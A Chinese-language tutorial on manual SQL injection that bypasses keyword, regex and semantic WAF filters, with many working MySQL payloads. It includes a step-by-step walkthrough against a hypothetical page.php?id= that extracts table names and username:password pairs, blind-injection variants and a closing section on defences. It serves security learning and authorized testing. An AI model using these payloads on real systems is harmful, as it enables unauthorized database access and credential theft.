
1. 项目概述手工注入的艺术与过滤绕过的博弈在Web安全领域SQL注入始终是绕不开的经典话题。很多刚入门的朋友在靶场里用自动化工具跑出第一个注入点时可能会觉得“SQL注入不过如此”。但当你真正面对一个经过简单防护、对关键字进行过滤的实战环境时才会发现真正的较量才刚刚开始。手工注入的魅力恰恰在于这种“见招拆招”的博弈过程。它不是简单地执行一个sqlmap -u “xxx” --dbs而是需要你像一个侦探一样仔细分析服务器的每一次响应理解其过滤逻辑并运用各种奇技淫巧将你的攻击载荷“伪装”成合法请求最终达成目的。“绕过过滤”是手工注入中的核心技能也是区分脚本小子和真正渗透测试工程师的一道分水岭。它考验的不仅是对SQL语法细节的掌握更是对目标防护机制的理解和创造性思维。今天我们就来深入聊聊这个话题我会结合自己多年在渗透测试和CTF比赛中的实战经验为你系统性地拆解那些绕过过滤的巧妙手法。无论你是正在学习网络安全的学生还是希望提升手工注入能力的从业者这篇文章都将为你提供一套可直接上手、深入原理的实战指南。2. 过滤机制解析与绕过思路总览在开始具体的技术拆解前我们必须先理解对手——也就是服务器端的过滤机制。只有摸清了它的“脾气”我们才能找到“后门”。常见的过滤思路主要分为三大类每一类都有其特点和相应的绕过策略。2.1 基于黑名单的字符替换过滤这是最简单、也最常见于早期CMS或自定义防护代码中的方式。它的逻辑非常直接开发者定义一个“黑名单”列表比如[select, union, or, and, --, #, /*, */, sleep, benchmark]然后对用户输入进行扫描一旦发现这些字符串就将其替换为空字符串或特定字符如替换为空格。绕过思路这种过滤方式的致命弱点在于“替换”这个动作本身。如果过滤逻辑是简单地、顺序地执行str_replace那么我们就可以利用“嵌套”或“双写”的技巧来绕过。双写绕过这是最经典的绕过方式。假设过滤函数将union替换为空那么当我们输入uniunionon时过滤函数会找到中间的union并将其删除剩下的部分un和ion会重新组合成union从而成功逃逸。同理selselectect、oorr等也是如此。大小写混合绕过如果过滤是大小写敏感的很多简单的str_replace是那么使用SeLeCt、UnIoN就可以轻松绕过。因为SeLeCt不等于黑名单里的select。利用注释符分割关键字在SQL中注释符/**/在某些上下文中可以被视为空白。因此sel/**/ect、un/**/ion可以有效地将关键字拆散绕过基于完整字符串匹配的黑名单。注意双写绕过的成功率取决于过滤函数的执行次数。如果开发者足够细心对输入进行了递归或循环过滤直到没有黑名单词为止那么双写就会失效。但在实际测试中很多应用为了性能考虑只进行一次替换这就留下了可乘之机。2.2 基于正则表达式的模式匹配过滤这种过滤方式更为先进和常见于WAFWeb应用防火墙或成熟的框架中。开发者或安全产品会编写复杂的正则表达式Regex来匹配一系列可疑的“模式”而不仅仅是固定的字符串。例如一个正则可能试图匹配union\sselect这样的模式其中\s代表一个或多个空白字符空格、制表符、换行等。这样无论你中间加多少空格或注释都会被匹配到。绕过思路对抗正则过滤核心在于“变异”让我们的攻击载荷不再符合那个预设的“可疑模式”。使用非常规空白符如果正则只匹配了空格\x20我们可以使用Tab\x09、换行符\x0a、\x0d、甚至是URL编码中的%a0不换行空格来替代。在HTTP请求中这些字符很多时候会被正常解析为分隔符。内联注释/*!...*/的妙用MySQL特有的内联注释其中的内容会被MySQL服务器执行但某些简单的正则可能无法正确解析其语法。例如/*!50000union*/ select或者更隐蔽地将关键字拆开un/*!12345ion*/ sel/*!12345ect*/。数字50000表示当MySQL版本大于等于5.00.00时才执行其中的语句这也可以用来绕过一些针对特定关键字的正则。探索数据库新特性这是高阶绕过手法。例如在MySQL 8.0.19中引入了TABLE和VALUES语句可以部分替代SELECT的功能。很多WAF的规则库更新滞后可能还没有为这些新语法建立匹配规则。TABLE users;语句可以直接列出users表的所有内容完全避开了SELECT关键字。2.3 基于语义分析的智能过滤这是目前最先进的防护层级通常出现在商业级WAF中。它不仅仅匹配字符串或模式而是尝试对输入进行初步的SQL语法解析判断其结构是否构成一个合法的、但具有威胁性的查询。例如它会识别出UNION SELECT后面跟了来自information_schema的查询并将其判定为注入攻击。绕过思路面对语义分析常规的字符变形往往无效。我们需要从SQL语法的“角落”里寻找那些合法但生僻、WAF可能未完全覆盖的用法。利用数据库特性函数/语法例如使用SELECT ‘abc’ REGEXP ‘^a’来代替LIKE ‘a%’使用STRCMP()函数来进行盲注时的比较替代或、。使用POLYGON()、GEOMETRY等GIS相关函数有时也能构造出意想不到的注入点。非常规注入点不局限于WHERE子句。考虑ORDER BY、GROUP BY、LIMIT、ON子句在JOIN中、HAVING子句甚至表名、列名位置。这些地方的注入往往需要不同的语法构造可能绕过针对WHERE子句注入的语义规则。时间盲注的变形如果SLEEP()、BENCHMARK()被过滤可以尝试使用复杂的子查询、笛卡尔积连接来制造时间延迟。例如SELECT * FROM users WHERE id1 AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) 0这种大量数据的连接操作会消耗可观的时间。分块传输编码Chunked Transfer-Encoding或协议层干扰这已经超出了纯SQL语法的范畴属于HTTP协议层的绕过。通过构造特殊的HTTP请求如分块传输可以干扰WAF对请求体的解析使其无法正确提取出完整的参数进行语义分析从而让恶意载荷直达后端数据库。3. 核心绕过技巧的深度拆解与实战应用了解了宏观思路我们进入微观战场逐一拆解那些在实战中屡试不爽的具体绕过技巧。我会为每个技巧配上详细的原理说明和可直接复现的Payload示例。3.1 空格被过滤的多种替代方案空格是SQL语句中最常见的分隔符。一旦被过滤整个语句结构就会被打乱。但SQL语法是灵活的我们有太多可以替代空格的东西。注释符/**/这是最常用的替代品。SELECT/**/name/**/FROM/**/users在MySQL中完全等效于SELECT name FROM users。注意/**/是MySQL的多行注释但在这种用法下它起到了空白符的作用。括号()括号不仅能改变运算优先级在SQL中还能用于包裹表达式并且括号之间和周围可以不加空格。例如SELECT(user())FROM dual WHERE(11)AND(22)。这在盲注中极其有用可以构造如?id1‘ AND (ASCII(SUBSTR((SELECT database()),1,1)))100 --。Tab符%09、换行符%0a,%0d在URL编码中或Burp Suite里直接修改原始请求时可以用这些不可见字符替代空格。但要注意目标服务器的解析器必须能接受这些字符作为分隔符。URL编码的空格%20及其他%20是标准的空格编码。但有时WAF只解码一次你可以尝试双重编码%2520或者使用%a0不换行空格。在Burp中抓包后在Hex视图下直接修改为a0即可。利用浮点数或科学计数法这是一个非常巧妙的技巧。SELECT * FROM users WHERE id8E0union select 1,2,3。这里8E0是科学计数法等于8.0。数据库在解析时会将其视为数字8.0后面的union因为前面没有空格会与8.0连在一起但MySQL的解析器能够智能地将8.0union识别为数字8.0和关键字union从而成功执行。这招在过滤非常严格时可能有奇效。3.2 引号、逗号、比较符等关键符号的绕过这些符号在构造精确Payload时至关重要它们的缺失会让我们寸步难行。引号绕过当字符串的引号‘或“被过滤时我们无法直接表示字符串。此时十六进制编码是救星。任何字符串都可以转换为十六进制格式并在前面加上0x。例如字符串users的十六进制是0x7573657273。那么SELECT * FROM information_schema.tables WHERE table_name‘users’就可以写成SELECT * FROM information_schema.tables WHERE table_name0x7573657273。在盲注中你需要将猜测的字符转换为十六进制进行比较。逗号绕过逗号常用于函数参数分隔和LIMIT子句中。FROM ... FOR ...对于SUBSTR()和MID()函数可以使用FROM ... FOR ...语法替代逗号。SUBSTR(database(),1,1)等价于SUBSTR(database() FROM 1 FOR 1)。JOIN语句当UNION SELECT需要多个字段时如UNION SELECT 1,2,3如果逗号被过滤可以改写为UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c。这里通过创建子查询别名并用JOIN连接避免了直接使用逗号分隔字段。LIMIT与OFFSETLIMIT 0,1可以写成LIMIT 1 OFFSET 0。比较符,,绕过在基于布尔或时间的盲注中比较符是核心。GREATEST()/LEAST()函数GREATEST(a,b)返回a和b中较大的值。那么ASCII(SUBSTR(...)) 100可以转化为GREATEST(ASCII(SUBSTR(...)), 100) ASCII(SUBSTR(...))。如果左边表达式等于ASCII(SUBSTR(...))说明它比100大。同理LEAST()可用于判断小于。BETWEEN ... AND ...id 10可以写成id BETWEEN 11 AND 999999一个很大的数。id 10可以写成id BETWEEN 10 AND 10。LIKE,RLIKE,REGEXP用于替代等号进行字符串匹配。SELECT * FROM users WHERE user LIKE ‘admin%’。在盲注中可以逐位猜测SELECT ‘abc’ LIKE ‘a%’返回1真SELECT ‘abc’ LIKE ‘b%’返回0假。数学运算可以用IN()函数替代或者利用数学特性。id10可以写成id IN(10)或者id/101需注意类型。3.3 核心关键字UNION, SELECT, WHERE的变形艺术这是绕过过滤的主战场目标是让这些关键字“改头换面”逃过检测。大小写混合与随机大小写UnIoNSeLeCtWhErE。这是最基本的试探。内联注释/*!...*/包裹整个关键字/*!union*/在关键字中间插入un/*!12345ion*/。这里的数字可以是任何版本号只要大于等于实际MySQL版本即可。它有时能干扰基于正则的简单分词。利用内联注释定义版本特定语法制造解析差异。注释符分割U/**/NIONSEL/**/ECT。利用/**/作为“隐形”的分隔符。双写绕过如前所述ununionion,selselectect。务必在每次测试时验证过滤是单次替换还是循环替换。可以通过输入ununionion并观察返回是否变成union来判断。加号连接字符串在SQL Server中这是一个针对特定数据库的技巧。在SQL Server中加号可以连接字符串。‘sel’’ect’最终会被执行为‘select’。但在MySQL中加号是数学运算符此方法无效。MySQL中可以使用CONCAT()函数但CONCAT本身也可能被过滤。利用数据库新语法MySQL 8.0TABLE语句TABLE table_name;几乎等价于SELECT * FROM table_name;。这是一个完全避开SELECT关键字的数据读取方式。例如UNION TABLE users --。VALUES语句VALUES ROW(1,‘admin’,‘pass’), ROW(2,‘user’,‘123’);可以构造一个结果集。虽然不能直接从其他表查但可以与UNION结合或者用于盲注中的条件判断。3.4 编码与等价函数替换当直接的关键字变形行不通时我们可以尝试从更底层的“表达”形式上做文章。各种编码十六进制Hex如前所述用于绕过引号。URL编码对单个字符或整个参数进行URL编码。有时WAF只做一次解码你可以尝试双重编码。union-%75%6e%69%6f%6e。Unicode编码在某些特定上下文或数据库配置下可能有效但不如前两者通用。ASCII码函数CHAR(115, 101, 108, 101, 99, 116)会生成字符串‘select’。这可以将关键字拆解成一串数字绕过基于字符串的匹配。等价函数替换数据库通常为同一个功能提供了多个函数。SUBSTR()/MID()/SUBSTRING()三者功能基本一致。SLEEP()被过滤试试BENCHMARK(1000000, MD5(‘test’))。BENCHMARK函数会重复执行一个表达式多次用于制造时间延迟。PG_SLEEP()是PostgreSQL的。CONCAT()被过滤试试CONCAT_WS(‘’,‘a’,‘b’)或GROUP_CONCAT()虽然语义略有不同但在特定上下文中可替代。VERSION()可以用version替代。USER()可以用user、CURRENT_USER()等替代。4. 手工注入绕过过滤的完整实战流程理论说再多不如亲手试一次。下面我将模拟一个中度过滤的环境过滤了空格、union、select、、单引号带你走一遍完整的手工注入流程目标是获取数据库名。我们假设注入点为http://target.com/page.php?id1第1步探测注入点与过滤规则首先我们需要确认注入点类型并摸清过滤规则。基础探测id1- 正常页面。id1‘- 如果报错或页面异常说明可能存在字符型注入且单引号未被完全过滤。如果页面正常可能是数字型或者单引号被过滤/转义了。id1 and 11- 如果返回与id1相同正常。id1 and 12- 如果返回与id1不同空、错误说明and和可能未被过滤且存在布尔逻辑注入。测试过滤项输入id1 union select 1,2,3观察是否被拦截或返回错误。如果被拦截说明union和select可能被检测。输入id1 uniunionon selselectect 1,2,3如果页面正常返回说明过滤是简单的字符串替换且可双写绕过。输入id1‘ AND ‘1’‘1和id1‘ AND ‘1’‘2测试单引号和等号。如果‘2时页面异常说明单引号和等号可用。输入id1‘ AND ‘1’ LIKE ‘1测试LIKE作为等号替代品。输入id1‘/**/AND/**/‘1’/**/LIKE/**/‘1测试空格和/**/。假设我们最终探测出规则过滤了union、select、空格但可以用/**/替代空格用双写绕过关键字被过滤但LIKE可用单引号可用。第2步确定字段数ORDER BY字段数是使用UNION查询的前提。由于ORDER BY后面通常跟数字可能不受关键字过滤影响但空格被过滤了。Payload:id1‘/**/ORDER/**/BY/**/3--不断递增数字3,4,5...直到页面返回错误。假设在ORDER BY 4时出错说明当前查询有3个字段。如果ORDER BY也被过滤可以尝试GROUP BY原理相同。第3步构造联合查询寻找回显位现在我们需要构造一个能绕过所有过滤的UNION SELECT语句并找出页面中哪个位置会显示我们查询的数据回显位。原始语句id-1‘ UNION SELECT 1,2,3 --绕过变形将UNION双写ununionion将SELECT双写selselectect将空格替换为/**/ununionion/**/selselectect/**/1,2,3由于被过滤我们使用LIKE来确保id-1查不到数据从而让联合查询的结果显示出来。但这里id-1本身是数字比较LIKE用于字符串所以更稳妥的方式是让原查询查不到数据例如利用一个永假条件id1‘ AND ‘1’ LIKE ‘2最终Payloadid1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,2,3--提交后观察页面。如果联合查询成功页面上原本显示数据的地方可能会出现数字1、2或3。假设数字2和3的位置显示了出来。第4步获取数据库信息现在我们知道了回显位是第2和第3列。我们可以用它们来替换1,2,3查询我们需要的信息。获取当前数据库名使用database()函数。Payload:id1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,database(),3--提交后在回显位2的位置应该会显示当前数据库的名称例如myapp_db。获取表名从information_schema.tables中查询。这里表名是字符串我们需要用十六进制绕过可能的引号过滤尽管我们测试单引号可用但为了通用性可以提前用。假设数据库名是myapp_db其十六进制为0x6d796170705f6462可以用在线工具或Python的‘myapp_db’.encode(‘hex’)快速获取注意MySQL十六进制前加0x。Payload:id1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,table_name,3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema/**/LIKE/**/0x6d796170705f6462/**/LIMIT/**/0,1--这里我们用了LIKE替代用了/**/替代空格用了LIMIT 0,1一次取一个表名。通过递增LIMIT的偏移量0,1-1,1-2,1可以遍历所有表。获取列名假设我们找到了一个感兴趣的表users其十六进制为0x7573657273。从information_schema.columns中查询。Payload:id1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,column_name,3/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/LIKE/**/0x7573657273/**/LIMIT/**/0,1--最终获取数据假设users表有username和password列。Payload:id1‘/**/AND/**/‘1’/**/LIKE/**/‘2’/**/ununionion/**/selselectect/**/1,concat(username,0x3a,password),3/**/FROM/**/users/**/LIMIT/**/0,1--这里concat用于将用户名和密码用冒号0x3a是冒号的十六进制连接起来显示在一个回显位。LIMIT用于逐条读取。第5步盲注场景下的绕过如果页面没有明显的回显位即我们联合查询的数据不显示在页面上我们就需要进行盲注。盲注的核心是构造一个条件查询根据页面返回的“真”、“假”状态布尔盲注或响应时间长短时间盲注来推断数据。假设我们处于一个布尔盲注环境且过滤规则同上。猜测数据库名长度Payload:id1‘/**/AND/**/LENGTH(database())/**/LIKE/**/8--如果页面返回“真”状态如正常内容说明数据库名长度为8。我们可以通过遍历数字来猜测。逐位猜测数据库名使用SUBSTR()函数并用FROM ... FOR ...语法绕过逗号。Payload:id1‘/**/AND/**/ASCII(SUBSTR(database()/**/FROM/**/1/**/FOR/**/1))/**/LIKE/**/109--这里SUBSTR(database() FROM 1 FOR 1)取数据库名第一个字符。ASCII()将其转为ASCII码。109是字母m的ASCII码。如果页面返回“真”说明数据库名第一个字符是m。我们通过遍历ASCII码65-122对应A-z来猜测每一位。如果ASCII()和SUBSTR()也被过滤可以尝试用MID()、ORD()等等价函数或者使用LIKE ‘m%‘这种模式匹配来逐位猜测但效率较低。时间盲注的逻辑类似只是将条件判断改为基于时间的函数如id1‘/**/AND/**/IF(ASCII(SUBSTR(database()/**/FROM/**/1/**/FOR/**/1))/**/LIKE/**/109,SLEEP(5),0)--。如果第一个字符是m则页面响应会延迟5秒。5. 高级技巧、疑难排查与防御视角5.1 非常规注入点与二次注入ORDER BY注入ORDER BY后面的参数如果可控也可能产生注入。例如?orderid可以尝试?order(CASE WHEN (11) THEN id ELSE name END)通过条件判断来进行盲注。LIMIT注入在MySQL 5.x中LIMIT子句的偏移量部分OFFSET注入利用较为复杂。在MySQL 5.6及MariaDB中LIMIT子句可以跟PROCEDURE ANALYSE()但此技巧利用条件苛刻。二次注入这是过滤机制最难防御的一种。攻击者将恶意Payload存入数据库例如注册用户名时填入admin‘--由于存入时可能经过了转义或过滤所以安全。但当应用程序后续从数据库取出这个数据并不加处理地用于另一个SQL查询时注入就会发生。因为从数据库取出的数据通常被认为是“干净”的。防御二次注入必须坚持“任何来自外部包括数据库的数据都不可信”的原则在每一次使用前都进行校验。5.2 常见问题与排查技巧Payload执行了但页面没变化检查回显位确保UNION SELECT的字段数和数据类型与原查询匹配。尝试将id值设为负值或一个不存在的值确保原查询结果为空让联合查询结果得以显示。查看页面源码数据可能被输出到了HTML注释、JavaScript变量或隐藏的表单元素中在页面渲染上看不见。可能是盲注尝试布尔或时间盲注的Payload进行验证。一直报语法错误仔细检查变形确保关键字绕过如双写后拼接正确。ununionion去掉中间的union后必须是union不能多出或少字符。检查符号闭合字符型注入要确保引号闭合。如果原语句是id‘$input‘你的Payload必须以单引号开始和结束或者用注释符--或#注释掉后面的部分。数据库差异确认目标数据库类型MySQL, PostgreSQL, SQL Server, Oracle等。本文技巧以MySQL为主其他数据库语法有差异。例如SQL Server的注释符是--字符串连接用Oracle的字符串连接用||。WAF拦截频繁如何降低噪音减慢请求速度使用工具设置请求延迟避免触发WAF的速率限制规则。分拆Payload不要一次性发送完整的注入语句。先测试一个简单条件如and 11再逐步添加复杂部分。尝试参数污染例如提交?id1id2‘ UNION SELECT --。不同的服务器处理多个同名参数的方式不同有时可能绕过一些简单的检测逻辑。更改请求方法尝试将GET请求改为POST请求或者反之。修改HTTP头部添加或修改X-Forwarded-For,User-Agent等头部有时能绕过基于IP或客户端特征的简单规则。5.3 从攻击者到防御者的思考作为一名安全从业者了解攻击手法的最终目的是为了更好地防御。从绕过过滤的攻防中我们可以总结出防御SQL注入的最佳实践首选参数化查询预编译语句这是根治SQL注入的银弹。让数据库将代码SQL结构和数据用户输入分开处理无论用户输入什么都会被当作数据而非代码执行。几乎所有现代编程语言和框架都支持。如果必须拼接则严格过滤如果因历史遗留问题等原因必须使用拼接那么使用白名单对于已知有限的输入如排序字段order by status只允许id、name等预定义的几个值拒绝其他任何输入。严格类型转换对于数字型参数在拼接前强制转换为整数/浮点数。转义特殊字符对于字符串使用数据库驱动提供的专用转义函数如MySQL的mysqli_real_escape_string()而不是自己写addslashes()。最小权限原则数据库连接账户不应使用root或sa等高权限账户。应为其分配仅能满足应用需求的最小权限例如只授予特定表的SELECT权限不授予DROP、FILE等危险权限。错误信息处理自定义统一的错误页面避免将数据库的原始错误信息包含表名、SQL语句片段直接返回给用户。这能增加攻击者进行盲注的难度。使用Web应用防火墙WAFWAF可以作为一道有效的补充防线基于规则库拦截常见攻击模式。但切记WAF不是万能的它可能被绕过正如本文所述不能替代安全的编码实践。手工注入绕过过滤是一场充满创造力的智力游戏它要求你对SQL语法、数据库特性、HTTP协议乃至服务器配置都有深入的理解。每一次成功的绕过都是对技术细节的一次深刻把握。希望这篇超过五千字的详细拆解能为你打开这扇门让你在安全测试的道路上走得更深、更稳。记住技术的刀刃本身并无善恶关键在于持刀之人。将这些知识用于授权的安全测试、CTF竞赛或自我学习才能真正提升我们的能力为构建更安全的网络环境贡献力量。在实际操作中耐心和细致的观察往往比复杂的Payload更重要一个字符一个字符地去试探、去理解服务器的反馈是手工注入最本质的乐趣所在。